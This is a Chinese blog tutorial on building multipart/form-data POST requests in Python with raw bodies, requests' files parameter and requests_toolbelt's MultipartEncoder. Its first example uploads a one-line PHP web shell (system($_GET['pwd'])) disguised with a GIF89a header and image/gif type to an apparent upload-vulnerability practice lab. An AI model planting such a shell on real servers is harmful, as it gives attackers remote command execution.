多次脚本编写过程中,遇到请求体是FormData文件类型的请求,对如何使用Python3的requests模块来发送该类型请求,做简单记录。

假设需要发送如下的请求数据:

image-20220816005751072

有三种方法

  1. 手动构造requests.post请求体传参
  2. 使用requests.post的files参数
  3. 使用requests_toolbelt的MultipartEncoder模块

但首先得了解一下文件格式multipart/form-data的请求包。

multipart/form-data格式简述

post请求中必须有Content-Type请求头,用于表示本次post数据的格式,基于post请求方式发送数据的有多种格式,用于不同的环境:

  • application/x-www-form-urlencoded:原生post,键值对,简单的请求数据
1
2
3
4
POST /test.html HTTP/1.1
Content-Type: application/x-www-form-urlencoded

user=admin&pass=123456
  • application/json:原生post基础上,json形式,传递复杂键值对数据
1
2
3
4
5
6
7
8
9
10
11
POST /test.html HTTP/1.1
Content-Type: application/json

{
"users": [
{
"user": "admin",
"pass": "123456"
}
]
}
  • multipart/form-data:上传文件的默认格式,使用–boundary分割每一个表单数据,–boundary–作为所有数据结尾
1
2
3
4
5
6
7
8
9
10
11
12
POST /test.html HTTP/1.1
Content-Type: multipart/form-data; boundary=6bb4837eb74329105ee4568dda7dc67ed2ca2ad9

--6bb4837eb74329105ee4568dda7dc67ed2ca2ad9
Content-Disposition: form-data; name="name"

admin
--6bb4837eb74329105ee4568dda7dc67ed2ca2ad9
Content-Disposition: form-data; name="pass"

123456
--6bb4837eb74329105ee4568dda7dc67ed2ca2ad9--
  • ……

如上,multipart/form-data格式的文件类型表单数据,看似与原生post请求不同,其实multipart/form-data的请求体也是字符串,只不过是有特定的请求头(Content-Type: multipart/form-data; boundary=–boundary)和特殊的请求体构造方式(–boundary分割数据,–boundary–结尾)的字符串,这是与基础post请求(name1=value1&name2=value2……)不同的地方,因此在做数据处理中,请求响应均可将其按照post字符串处理。

构造post请求体传参

和之前使用基础post请求格式一样,手动构造特定格式的请求体作为data参数,进行传参

需要指定Content-Type,且其值也必须规定为multipart/form-data,同时指定一个boundary用于分割数据,burp0_data定义为为所有参数的字符串格式,requests.post中指定data为burp0_data

注意:有结构的post请求体burp0_data内容必须顶格,存在缩进会导致解析失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def send_post():
burp0_url = "http://1.116.192.238:5555/Pass-01/index.php"
burp0_headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
"Content-Type": "multipart/form-data; boundary=---------------------------420857334818915960412654596244",
}
burp0_data = """
-----------------------------420857334818915960412654596244
Content-Disposition: form-data; name="upload_file"; filename="1234567.php"
Content-Type: image/gif

GIF89a
<?php @syStem($_GET["pwd"]);?>
-----------------------------420857334818915960412654596244
Content-Disposition: form-data; name="submit"

上传
-----------------------------420857334818915960412654596244--

""".encode("utf-8")

requests.post(burp0_url, headers=burp0_headers, data=burp0_data, proxies=proxie)

抓包效果如下:

image-20220823003208861

可成功上传,解析

image-20220816010132902

适用情况:有条件抓取现成的测试包,或者可从浏览器复制,否则手动构造这样的请求包并非明智之举。

requests.post的files参数

requests.post的files参数可直接发送文件类型格式的请求,files参数的数据定义格式有2种,字典格式和列表元组格式:

1
2
3
4
5
6
7
8
9
10
11
# {"name": fileObj} 字典
files = {
"file1": (open("./file.txt", "rb")),
"file1": ("123.php", open("./file.txt", "rb"), "image/gif"), # 指定文件名、文件类型
}

# [("name", fileObj)] 列表元组
files = [
("file1", open("/Downloads/hello.txt", "rb")),
("file2", open("/Downloads/hello2.txt", "rb"))
]

需要注意的是,files参数内只能填入待上传的文件,不能传入普通参数,当上传文件的同时还有其它参数需要赋值,可同时使用requests的data参数指定普通参数,类型为字典。

错误的使用:

1
2
3
4
5
files = {
"upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"),
"submit": "上传"
}
requests.post(url, files=files)

因为没有指定filename,因此自动将submit设定为filename,不符合预期的单纯传参

image-20220824003245563

正确的使用:

1
2
3
4
5
6
7
files = {
"upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"),
}
data = {
"submit": "上传"
}
requests.post(url, files=files, data=data)

files和data参数搭配使用,即可实现上传文件同时对普通参数赋值。可成功上传解析。

image-20220824003023382

适用情况:无法或难以抓包,直接利用模块生成相关数据包。

但是这种方法无法发送全都是普通参数的文件格式数据包,如下

image-20220826164020226

上图请求中所有参数都是普通参数,但是使用multipart/form-data的文件格式进行传参,这种情况就需要用到第三种方法——第三方库requests_toolbelt的MultipartEncoder模块。

MultipartEncoder模块

第三方库requests_toolbelt可以看作是requests的请求工具扩展,其中的MultipartEncoder模块专门用于生成multipart/form-data表单数据,需手动安装才能使用

1
pip install requests_toolbelt

requests_toolbelt官方文档:

https://toolbelt.readthedocs.io/en/latest/user.html

MultipartEncoder模块官方示例

1
2
3
4
5
6
7
8
9
10
11
import requests
from requests_toolbelt.multipart.encoder import MultipartEncoder

m = MultipartEncoder(
fields={'field0': 'value',
'field1': 'value',
'field2': ('filename', open('file.py', 'rb'), 'text/plain')}
)

r = requests.post('http://httpbin.org/post', data=m,
headers={'Content-Type': m.content_type})

在使用MultipartEncoder初始化一个对象时,需要一个字典参数,字典内的内容与requests.post的files参数类似,不过同时也可以发送普通的非文件数据,参数分别如下:

  • 发送文件内容:**参数名 : (文件名, 文件内容, 文件类型)**,其中文件名、文件类型均可省略
  • 发送非文件内容:参数名 : 参数值

同时还需要在headers中指定Content-Type为MultipartEncoderObj.content_type,交由模块来自动补全。

一个完整的示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def send_MultipartEncoder():
burp0_url = "http://1.116.192.238:5555/Pass-01/index.php"
m = MultipartEncoder(
{
"upload_file": ("123.php", open("./file.txt", "rb"), "image/gif"),
"submit": "上传",
}
)
req_headers = {
"Content-Type": m.content_type,
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
}

requests.post(burp0_url, headers=req_headers, data=m, verify=False)

upload_file是文件内容类型参数,submit是普通类型参数

image-20220828084628869

使用也可以发送纯普通参数的表单数据请求,同时可将某参数内容置空

1
2
3
4
5
6
7
m = MultipartEncoder(
{
"field1": "11111",
"field2": "",
"field3": "33333"
}
)

image-20220828090409016

MultipartEncoder模块可以看作是requests.post的files参数的扩展,同时又是对data参数内容格式的自动构造。